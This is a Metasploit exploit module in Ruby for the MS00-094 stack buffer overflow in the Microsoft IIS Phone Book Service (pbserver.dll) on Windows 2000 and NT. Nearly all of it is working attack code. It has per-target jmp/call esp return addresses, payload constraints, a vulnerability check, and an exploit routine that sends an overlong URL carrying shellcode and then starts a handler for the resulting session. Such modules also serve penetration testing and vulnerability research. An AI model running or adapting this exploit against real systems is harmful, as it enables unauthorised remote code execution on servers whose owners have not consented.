Microsoft IIS – Phone Book Service Overflow (MS00-094) (Metasploit)
## # $Id: ms00_094_pbserver.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft IIS Phone Book Service Overflow', 'Description' => %q{ This is an exploit for the Phone Book Service /pbserver/pbserver.dll described in MS00-094. By sending an overly long URL argument for phone book updates, it is possible to overwrite the stack. This module has only been tested against Windows 2000 SP1. }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2000-1089' ], [ 'OSVDB', '463' ], [ 'BID', '2048' ], [ 'MSB', 'MS00-094' ], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 896, 'BadChars' => "\x00\x0a\x0d\x20%&=?", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll ['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll ['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll ], 'DisclosureDate' => 'Dec 04 2000', 'DefaultTarget' => 0)) register_options( [ OptString.new('URL', [ true, "The path to pbserver.dll", "/pbserver/pbserver.dll" ]), ], self.class) end def check print_status("Requesting the vulnerable ISAPI path...") res = send_request_raw({ 'uri' => datastore['URL'] }, 5) if (res and res.code == 400) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit print_status("Sending overflow...") res = send_request_raw({ 'uri' => datastore['URL'] + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912) }, 5) handler end end |